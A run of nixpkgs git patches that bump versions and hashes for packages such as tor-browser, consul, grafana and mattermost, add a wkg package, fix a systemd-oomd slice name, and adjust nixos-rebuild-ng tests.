index cefd4f1f28c3..17e7b3a146d8 100644
--- a/pkgs/by-name/bu/buildstream/package.nix
+++ b/pkgs/by-name/bu/buildstream/package.nix
@@ -34,26 +34,27 @@ python3Packages.buildPythonApplication rec {
     setuptools-scm
   ];
 
-  dependencies = with python3Packages; [
-    click
-    dulwich
-    grpcio
-    jinja2
-    markupsafe
-    packaging
-    pluginbase
-    protobuf
-    psutil
-    pyroaring
-    requests
-    ruamel-yaml
-    ruamel-yaml-clib
-    tomlkit
-    ujson
-  ];
+  dependencies =
+    [ buildbox ]
+    ++ (with python3Packages; [
+      click
+      dulwich
+      grpcio
+      jinja2
+      markupsafe
+      packaging
+      pluginbase
+      protobuf
+      psutil
+      pyroaring
+      requests
+      ruamel-yaml
+      ruamel-yaml-clib
+      tomlkit
+      ujson
+    ]);
 
   buildInputs = [
-    buildbox
     fuse3
     lzip
     patch

From 54f759989dd29b5b903387e5011ce719fd72705d Mon Sep 17 00:00:00 2001
From: r-vdp <ramses@well-founded.dev>
Date: Fri, 20 Jun 2025 18:35:42 +0200
Subject: [PATCH 1518/4511] nixos/systemd-oomd: use the correct name for the
 top-level user slice

`user-.slice` does not seem to exist, and the config we generate for it is
rejected by systemd (see `systemctl status user-.slice`).
I suppose that what was really intended here, was to configure
`user.slice`, which is the one that is documented in `man systemd.special`.

Reported-by: Ian Sollars <Ian.Sollars@brussels.msf.org>
(cherry picked from commit c28b3143da407c0208a8b57b60b0d236c3196790)
---
 nixos/modules/system/boot/systemd/oomd.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/systemd/oomd.nix b/nixos/modules/system/boot/systemd/oomd.nix
index bf162288c142..d7df8903367b 100644
--- a/nixos/modules/system/boot/systemd/oomd.nix
+++ b/nixos/modules/system/boot/systemd/oomd.nix
@@ -68,7 +68,7 @@ in
       ManagedOOMMemoryPressure = "kill";
       ManagedOOMMemoryPressureLimit = lib.mkDefault "80%";
     };
-    systemd.slices."user-".sliceConfig = lib.mkIf cfg.enableUserSlices {
+    systemd.slices."user".sliceConfig = lib.mkIf cfg.enableUserSlices {
       ManagedOOMMemoryPressure = "kill";
       ManagedOOMMemoryPressureLimit = lib.mkDefault "80%";
     };

From 3638879cfc9c71580bde39df6f86dcb7f2de7a52 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Tue, 24 Jun 2025 22:19:34 +0200
Subject: [PATCH 1519/4511] tor-browser: 14.5.3 -> 14.5.4

https://blog.torproject.org/new-release-tor-browser-1454/
(cherry picked from commit 53b2719cd353516b4426ab1749ca63e133848c6a)
---
 pkgs/by-name/to/tor-browser/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix
index 2afc14771898..3d5241af75c0 100644
--- a/pkgs/by-name/to/tor-browser/package.nix
+++ b/pkgs/by-name/to/tor-browser/package.nix
@@ -109,7 +109,7 @@ lib.warnIf (useHardenedMalloc != null)
         ++ lib.optionals mediaSupport [ ffmpeg ]
       );
 
-      version = "14.5.3";
+      version = "14.5.4";
 
       sources = {
         x86_64-linux = fetchurl {
@@ -119,7 +119,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
           ];
-          hash = "sha256-1MgXLdoRrmwFAG2JtkCUa2NQ/H3Xxd9+2jbV+fRRVXA=";
+          hash = "sha256-27Wq9VwFB85swQZIRQMKZgeUeb/SgQ04aaWmZtlpY9s=";
         };
 
         i686-linux = fetchurl {
@@ -129,7 +129,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
           ];
-          hash = "sha256-T6BdLhEXYzo3zIJZ2aREjAWmIRDV/xtVhVvkDUozoo4=";
+          hash = "sha256-OgexrnQWGYSf9g3Le/LyBcpGo3xFqpCMq1NUHF5fi9M=";
         };
       };
 

From 59e5313f03751a4c87f3f5b801e0113c0b473ea7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Tue, 24 Jun 2025 22:23:38 +0200
Subject: [PATCH 1520/4511] mullvad-browser: 14.5.3 -> 14.5.4

https://github.com/mullvad/mullvad-browser/releases/tag/14.5.4
(cherry picked from commit de45b4a4d194281e4378e93a1c184d2825c0713a)
---
 pkgs/by-name/mu/mullvad-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mu/mullvad-browser/package.nix b/pkgs/by-name/mu/mullvad-browser/package.nix
index 879c487038f3..028a70fe6c14 100644
--- a/pkgs/by-name/mu/mullvad-browser/package.nix
+++ b/pkgs/by-name/mu/mullvad-browser/package.nix
@@ -97,7 +97,7 @@ let
     ++ lib.optionals mediaSupport [ ffmpeg ]
   );
 
-  version = "14.5.3";
+  version = "14.5.4";
 
   sources = {
     x86_64-linux = fetchurl {
@@ -109,7 +109,7 @@ let
         "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
         "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
       ];
-      hash = "sha256-W005Lkgw96sYseB8LBE76b7+RxMC5vNb1+3KrDp8IE0=";
+      hash = "sha256-DJEc+2GJHxG49euVpwH8h/yLoR6DVn0a0ZUFS429XaA=";
     };
   };
 

From 3291fc798b8a6fb0f2eb15ba4d7f9d46c6335860 Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Tue, 24 Jun 2025 11:14:15 +0200
Subject: [PATCH 1521/4511] floorp: 11.27.0 -> 11.28.0

Git changelog: https://github.com/Floorp-Projects/Floorp/compare/v11.27.0...v11.28.0
Release notes: https://blog.floorp.app/en/release/11.28.0.html

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit 64b6c52e5a8401a986133398a133d7a4a2dee26b)
---
 pkgs/applications/networking/browsers/floorp/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index 2538b67d31f2..a27fde9b1d01 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -9,7 +9,7 @@
 (
   (buildMozillaMach rec {
     pname = "floorp";
-    packageVersion = "11.27.0";
+    packageVersion = "11.28.0";
     applicationName = "Floorp";
     binaryName = "floorp";
     branding = "browser/branding/official";
@@ -24,7 +24,7 @@
       repo = "Floorp";
       fetchSubmodules = true;
       rev = "v${packageVersion}";
-      hash = "sha256-lQ84NNWlu4hVKK/CDIDS5JKGdD4i7TTjv4x/dQhDJwo=";
+      hash = "sha256-2BSl7RHhqFAYSpshBYxuVWwLlVXdOT3xgH4tva5ShY4=";
     };
 
     extraConfigureFlags = [

From 546d513d6409e26525462845be777358daeaa82a Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Sat, 21 Jun 2025 01:01:32 +0200
Subject: [PATCH 1522/4511] nixos-rebuild-ng: skip broken test for Nix < 2.18

The mock test for building with remote, but distinct target and build
host checks a bunch of internals (how many shell commands are executed,
which ones exactly) that are special cased on WITH_NIX_2_18, so the test
breaks when that is false. I've opted to simply skip the test for now
since the expected call list is very annoying to keep maintained and
updated for multiple versions.

This should fix NixOS configurations with config nix.package.version < 2.18.
To keep it that way, I've added nixos-rebuild-ng with some nixVersions
to passthru.tests that aren't likely to be removed in the short term.

(cherry picked from commit c20ef42f01aeb6a40e111cb810a031e5c7cd9ccf)
---
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix     | 16 +++++++++++++++-
 .../ni/nixos-rebuild-ng/src/tests/test_main.py   |  5 +++++
 2 files changed, 20 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index 8590cc90549a..f02be7888d09 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -5,7 +5,6 @@
   installShellFiles,
   mkShell,
   nix,
-  nixosTests,
   python3,
   python3Packages,
   runCommand,
@@ -16,6 +15,10 @@
   # Very long tmp dirs lead to "too long for Unix domain socket"
   # SSH ControlPath errors. Especially macOS sets long TMPDIR paths.
   withTmpdir ? if stdenv.hostPlatform.isDarwin then "/tmp" else null,
+  # passthru.tests
+  nixosTests,
+  nixVersions,
+  nixos-rebuild-ng,
 }:
 let
   executable = if withNgSuffix then "nixos-rebuild-ng" else "nixos-rebuild";
@@ -105,6 +108,17 @@ python3Packages.buildPythonApplication rec {
       };
 
       tests = {
+        with_nix_latest = nixos-rebuild-ng.override {
+          nix = nixVersions.latest;
+        };
+        with_nix_stable = nixos-rebuild-ng.override {
+          nix = nixVersions.stable;
+        };
+        with_nix_2_3 = nixos-rebuild-ng.override {
+          # oldest / minimum supported version in nixpkgs
+          nix = nixVersions.nix_2_3;
+        };
+
         inherit (nixosTests)
           nixos-rebuild-install-bootloader-ng
           nixos-rebuild-specialisations-ng
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 345c8bd32f79..504d016bbfbb 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -11,6 +11,7 @@ import pytest
 from pytest import MonkeyPatch
 
 import nixos_rebuild as nr
+from nixos_rebuild.constants import WITH_NIX_2_18
 
 from .helpers import get_qualified_name
 
@@ -536,6 +537,10 @@ def test_execute_nix_switch_flake(mock_run: Mock, tmp_path: Path) -> None:
 @patch("subprocess.run", autospec=True)
 @patch("uuid.uuid4", autospec=True)
 @patch(get_qualified_name(nr.cleanup_ssh), autospec=True)
+@pytest.mark.skipif(
+    not WITH_NIX_2_18,
+    reason="Tests internal logic based on the assumption that Nix >= 2.18",
+)
 def test_execute_nix_switch_build_target_host(
     mock_cleanup_ssh: Mock,
     mock_uuid4: Mock,

From 8e65ababcf77c67b7a764bc62d7c1e22ef2547c1 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Sat, 21 Jun 2025 12:06:23 +0200
Subject: [PATCH 1523/4511] nixos-rebuild-ng: add passthru.tests for lix

Note that the code currently assumes that checking >= 2.18 on the
version of an opaque package is enough which works for many things as it
is the fork point of Lix. However, future changes may need to reevaluate
whether it is enough for every check (should more conditional code be
added).

(cherry picked from commit c09622bb8d12c8a5380dc81591da827a0d280174)
---
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index f02be7888d09..e29b7d924149 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -18,6 +18,7 @@
   # passthru.tests
   nixosTests,
   nixVersions,
+  lixPackageSets,
   nixos-rebuild-ng,
 }:
 let
@@ -26,6 +27,8 @@ let
   # implemented in newer versions of Nix, but not necessary 2.18.
   # However, Lix is a fork of Nix 2.18, so this looks like a good version
   # to cut specific functionality.
+  # ATTN: This currently doesn't disambiguate between Nix and Lix, so using this
+  # in a conditional needs careful checking against both Nix implementations.
   withNix218 = lib.versionAtLeast nix.version "2.18";
 in
 python3Packages.buildPythonApplication rec {
@@ -118,6 +121,14 @@ python3Packages.buildPythonApplication rec {
           # oldest / minimum supported version in nixpkgs
           nix = nixVersions.nix_2_3;
         };
+        with_lix_latest = nixos-rebuild-ng.override {
+          # oldest / minimum supported version in nixpkgs
+          nix = lixPackageSets.latest.lix;
+        };
+        with_lix_stable = nixos-rebuild-ng.override {
+          # oldest / minimum supported version in nixpkgs
+          nix = lixPackageSets.stable.lix;
+        };
 
         inherit (nixosTests)
           nixos-rebuild-install-bootloader-ng

From 4926930e66de10b0b751d840e36d441d7cd3628b Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Tue, 24 Jun 2025 15:49:24 +0100
Subject: [PATCH 1524/4511] nixos-rebuild-ng: add FLAKE_FLAGS to `nix copy`

(cherry picked from commit 12e016d32db7b271c1985e8f3e29a441d3d99845)
---
 pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py | 1 +
 pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py   | 2 ++
 pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py    | 2 ++
 3 files changed, 5 insertions(+)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index acc9448fec00..0d8abca0f92d 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -210,6 +210,7 @@ def copy_closure(
         run_wrapper(
             [
                 "nix",
+                *FLAKE_FLAGS,
                 "copy",
                 *dict_to_flags(copy_flags),
                 "--from",
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 504d016bbfbb..e3678420bc14 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -688,6 +688,8 @@ def test_execute_nix_switch_build_target_host(
             call(
                 [
                     "nix",
+                    "--extra-experimental-features",
+                    "nix-command flakes",
                     "copy",
                     "--from",
                     "ssh://user@build-host",
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 05cb69e69d8b..1bca16260012 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -263,6 +263,8 @@ def test_copy_closure(monkeypatch: MonkeyPatch) -> None:
         mock_run.assert_called_with(
             [
                 "nix",
+                "--extra-experimental-features",
+                "nix-command flakes",
                 "copy",
                 "--copy-flag",
                 "--from",

From dde310ea75b1b981810729737a45992bdc290a30 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Tue, 24 Jun 2025 15:51:54 +0100
Subject: [PATCH 1525/4511] nixos-rebuild-ng: allow `withNix218` to be
 overriden

`withNix218` controls if `nixos-rebuild-ng` is built with Nix 2.18+, so
it can use some features depending on newer version of Nix, for example
using `nix copy` instead of `nix-copy-closure` for more efficient copies
when both `--build-host` and `--target-host`. This is computed by
looking at the Nix derivation at compile time.

It is unlikely but it could happen that some specific use case an user
wants to use the Nix <2.18 path without actually using an older version
of Nix. For those cases we are exposing the `withNix218` as a derivation
parameter, so it can be overriden.

(cherry picked from commit 88fcdf4ef80148190465ff78c262d6d651813bb8)
---
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index e29b7d924149..020b9ae7694a 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -15,6 +15,13 @@
   # Very long tmp dirs lead to "too long for Unix domain socket"
   # SSH ControlPath errors. Especially macOS sets long TMPDIR paths.
   withTmpdir ? if stdenv.hostPlatform.isDarwin then "/tmp" else null,
+  # This version is kind of arbitrary, we use some features that were
+  # implemented in newer versions of Nix, but not necessary 2.18.
+  # However, Lix is a fork of Nix 2.18, so this looks like a good version
+  # to cut specific functionality.
+  # ATTN: This currently doesn't disambiguate between Nix and Lix, so using this
+  # in a conditional needs careful checking against both Nix implementations.
+  withNix218 ? lib.versionAtLeast nix.version "2.18",
   # passthru.tests
   nixosTests,
   nixVersions,
@@ -23,13 +30,6 @@
 }:
 let
   executable = if withNgSuffix then "nixos-rebuild-ng" else "nixos-rebuild";
-  # This version is kind of arbitrary, we use some features that were
-  # implemented in newer versions of Nix, but not necessary 2.18.
-  # However, Lix is a fork of Nix 2.18, so this looks like a good version
-  # to cut specific functionality.
-  # ATTN: This currently doesn't disambiguate between Nix and Lix, so using this
-  # in a conditional needs careful checking against both Nix implementations.
-  withNix218 = lib.versionAtLeast nix.version "2.18";
 in
 python3Packages.buildPythonApplication rec {
   pname = "nixos-rebuild-ng";

From 2d017613fa470b7525cabafd4b552bfd8d000448 Mon Sep 17 00:00:00 2001
From: techknowlogick <techknowlogick@gitea.com>
Date: Tue, 24 Jun 2025 16:20:05 -0400
Subject: [PATCH 1526/4511] consul: 1.21.2 -> 1.21.2

Changelog: https://github.com/hashicorp/consul/releases/tag/v1.21.2
(cherry picked from commit 95e3cba4db03ce718d973fbec6f558e863df3593)
---
 pkgs/by-name/co/consul/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/consul/package.nix b/pkgs/by-name/co/consul/package.nix
index e6c24dbd212a..b40bd688b8ff 100644
--- a/pkgs/by-name/co/consul/package.nix
+++ b/pkgs/by-name/co/consul/package.nix
@@ -8,7 +8,7 @@
 
 buildGoModule rec {
   pname = "consul";
-  version = "1.21.1";
+  version = "1.21.2";
 
   # Note: Currently only release tags are supported, because they have the Consul UI
   # vendored. See
@@ -22,7 +22,7 @@ buildGoModule rec {
     owner = "hashicorp";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-bkBjKvSJapkiqCKENR+mG3sWYTBUZf9klw2UHqgccdc=";
+    hash = "sha256-ejslKLoZFxNKQiV9AH+djRIN1lUC4WvUBkaVOENsHwM=";
   };
 
   # This corresponds to paths with package main - normally unneeded but consul
@@ -32,7 +32,7 @@ buildGoModule rec {
     "connect/certgen"
   ];
 
-  vendorHash = "sha256-06tLz04hFZ2HqpetKMRfFY2JJI4TgedzKYpwcVbemfU=";
+  vendorHash = "sha256-Bmuc/nNNztd0wZqpLrFv4FZ/1CZ2lN1Bhob+grJJC8w=";
 
   doCheck = false;
 

From dc59321ec1f7fe1f51ba7936637499cf091a6bbf Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 25 Jun 2025 04:58:35 +0200
Subject: [PATCH 1527/4511] draupnir: 2.3.1 -> 2.4.1

https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.4.0
https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.4.1
(cherry picked from commit c37a519b01b118367ab60ddb6737694fe2b90cda)
---
 pkgs/by-name/dr/draupnir/hashes.json  | 2 +-
 pkgs/by-name/dr/draupnir/package.json | 7 ++++---
 pkgs/by-name/dr/draupnir/package.nix  | 4 ++--
 3 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index ad614b1cecb2..3bf0d669f051 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-no2bvBNM57JEk3nypsgnqvyuiHo3T1i8KCm887cP0Ak="
+  "yarn_offline_cache_hash": "sha256-OFzs3151Y5GGMS9VfV/Y7yUSqTOCns4QE+S/Cn3TN90="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index 1bf1ad16bb2b..53de23a7ee30 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.3.1",
+  "version": "2.4.1",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -53,6 +53,7 @@
     "@sinclair/typebox": "0.34.13",
     "@the-draupnir-project/interface-manager": "4.1.0",
     "@the-draupnir-project/matrix-basic-types": "1.3.0",
+    "@the-draupnir-project/mps-interface-adaptor": "^0.4.1",
     "better-sqlite3": "^9.4.3",
     "body-parser": "^1.20.2",
     "config": "^3.3.9",
@@ -62,8 +63,8 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.4.0",
-    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.1.4",
+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.6.2",
+    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.6.6",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
   },
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 3670dd5d13bb..4693f34d9ba5 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -22,13 +22,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.3.1";
+  version = "2.4.1";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-bDesbwTGmrwFp7VQwhxam9WApbmHj1aUrbIdYHdL7YA=";
+    hash = "sha256-mH5SzguZq1H+njHxWLfjXF3y3/v34KUg45ELL+femNw=";
   };
 
   nativeBuildInputs = [

From bb8940060224305125774cdbd4350172acc8df18 Mon Sep 17 00:00:00 2001
From: Varun Narravula <varun@snare.dev>
Date: Sat, 21 Jun 2025 19:38:08 -0700
Subject: [PATCH 1528/4511] wkg: init at 0.11.0

(cherry picked from commit c8d1798e6fded4ec8a69083f19e47462e69be8fc)
---
 pkgs/by-name/wk/wkg/package.nix | 37 +++++++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 pkgs/by-name/wk/wkg/package.nix

diff --git a/pkgs/by-name/wk/wkg/package.nix b/pkgs/by-name/wk/wkg/package.nix
new file mode 100644
index 000000000000..c86a691dc165
--- /dev/null
+++ b/pkgs/by-name/wk/wkg/package.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  versionCheckHook,
+  nix-update-script,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "wkg";
+  version = "0.11.0";
+  src = fetchFromGitHub {
+    owner = "bytecodealliance";
+    repo = "wasm-pkg-tools";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-l8ArzujFirquSKMDkcoP8KukLFCRB7U8BejzMGUD59Y=";
+  };
+
+  cargoHash = "sha256-ngVnF2eLZfa4ziliAaJOmu5YbnetEovH66kWXp2w1gY=";
+
+  # A large number of tests require Internet access in order to function.
+  doCheck = false;
+
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  doInstallCheck = true;
+  versionCheckProgramArg = "--version";
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Tools to package up WASM Components";
+    homepage = "https://github.com/bytecodealliance/wasm-pkg-tools";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ water-sucks ];
+    mainProgram = "wkg";
+  };
+})

From b89654f854d4ab4ee39bb74c767937ba5865dd0d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 13:53:35 +0000
Subject: [PATCH 1529/4511] mattermostLatest: 10.8.1 -> 10.9.1

(cherry picked from commit b0cb2096e7d984cd1b9dcf3c912d6c774c1903d3)
---
 pkgs/by-name/ma/mattermostLatest/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/mattermostLatest/package.nix b/pkgs/by-name/ma/mattermostLatest/package.nix
index 1a79e395ed91..b669edf643b0 100644
--- a/pkgs/by-name/ma/mattermostLatest/package.nix
+++ b/pkgs/by-name/ma/mattermostLatest/package.nix
@@ -11,10 +11,10 @@ mattermost.override {
     # and make sure the version regex is up to date here.
     # Ensure you also check ../mattermost/package.nix for ESR releases.
     regex = "^v(10\\.[0-9]+\\.[0-9]+)$";
-    version = "10.8.1";
-    srcHash = "sha256-bgXdLCH/lL9LFPfFk5uwdd61+fnG/WrzftWWH+BNcTY=";
-    vendorHash = "sha256-OJCVcD/k3AuZJzsJsayw413mTwIaodd+iHqy5akNDSw=";
-    npmDepsHash = "sha256-iddiDUXW9o6bCvswxCQTk9GbaZ1Kk0RN7RY9dPrClXQ=";
+    version = "10.9.1";
+    srcHash = "sha256-U9PbI2rzoMW48cDFJuhHrL7BWFrqTN7lgTbeL1N0dpQ=";
+    vendorHash = "sha256-+wmemZZyuz90VCXjO0ekplxdkv2p0s5h4qUObAA0XwU=";
+    npmDepsHash = "sha256-uAB599r3ZWjnt+jwk7sjSiPsc/tUyiBZzGqLZxuU3xE=";
     lockfileOverlay = ''
       unlock(.; "@floating-ui/react"; "channels/node_modules/@floating-ui/react")
     '';

From 17dd6702f606da76f299696b1571d99bbda210c8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 21 Jun 2025 15:10:12 +0000
Subject: [PATCH 1530/4511] mmctl: 10.5.7 -> 10.5.8

(cherry picked from commit eaa3f8f57e65777b1953d79b45a697446099646a)
---
 pkgs/by-name/ma/mattermost/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost/package.nix b/pkgs/by-name/ma/mattermost/package.nix
index 610b71938e97..aeb04142f7c0 100644
--- a/pkgs/by-name/ma/mattermost/package.nix
+++ b/pkgs/by-name/ma/mattermost/package.nix
@@ -19,9 +19,9 @@
     #
     # Ensure you also check ../mattermostLatest/package.nix.
     regex = "^v(10\\.5\\.[0-9]+)$";
-    version = "10.5.7";
-    srcHash = "sha256-HPQmN6GXDTEmloIcU0k+sYx/Qeh1j6T2yCT/W1/aWz4=";
-    vendorHash = "sha256-9Jl+lxvSoxUReziTqkDRyeNrijGWcBDbqoywJRIeD2k=";
+    version = "10.5.8";
+    srcHash = "sha256-yzC+QyGs8bynEOyZejMElh/gRKakUhw21eiqiah0K5s=";
+    vendorHash = "sha256-uryErnXPVd/gmiAk0F2DVaqz368H6j97nBn0eNW7DFk=";
     npmDepsHash = "sha256-tIeuDUZbqgqooDm5TRfViiTT5OIyN0BPwvJdI+wf7p0=";
     lockfileOverlay = ''
       unlock(.; "@floating-ui/react"; "channels/node_modules/@floating-ui/react")

From 0301045671b13618d4cc4da9d3fe361dee8cab97 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 22 Jun 2025 20:49:19 +0200
Subject: [PATCH 1531/4511] grafana: 12.0.1+security-01 -> 12.0.2

ChangeLog: https://github.com/grafana/grafana/releases/tag/v12.0.2
(cherry picked from commit d12edda1b2b87b13b1ae753ed4c622398b18e800)
---
 pkgs/servers/monitoring/grafana/default.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 7c6bf747b309..30470122cb89 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -29,19 +29,19 @@ let
   patchGoVersion = ''
     find . -name go.mod -not -path "./.bingo/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.3" "go 1.24.2"
+        --replace-fail "go 1.24.4" "go 1.24.4"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.3" "go 1.24.2"
+        --replace-fail "go 1.24.4" "go 1.24.4"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.3" "GO_VERSION = 1.24.2"
+      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.4"
   '';
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "12.0.1+security-01";
+  version = "12.0.2";
 
   subPackages = [
     "pkg/cmd/grafana"
@@ -53,7 +53,7 @@ buildGoModule rec {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-cYEWNXuIrTrtXR3XHqizDJ17QyBYkaccIThSorWO5GA=";
+    hash = "sha256-Nzx7QAAON/cWLqadL2IpdRunFNNoXE8PPYrquqPvWfk=";
   };
 
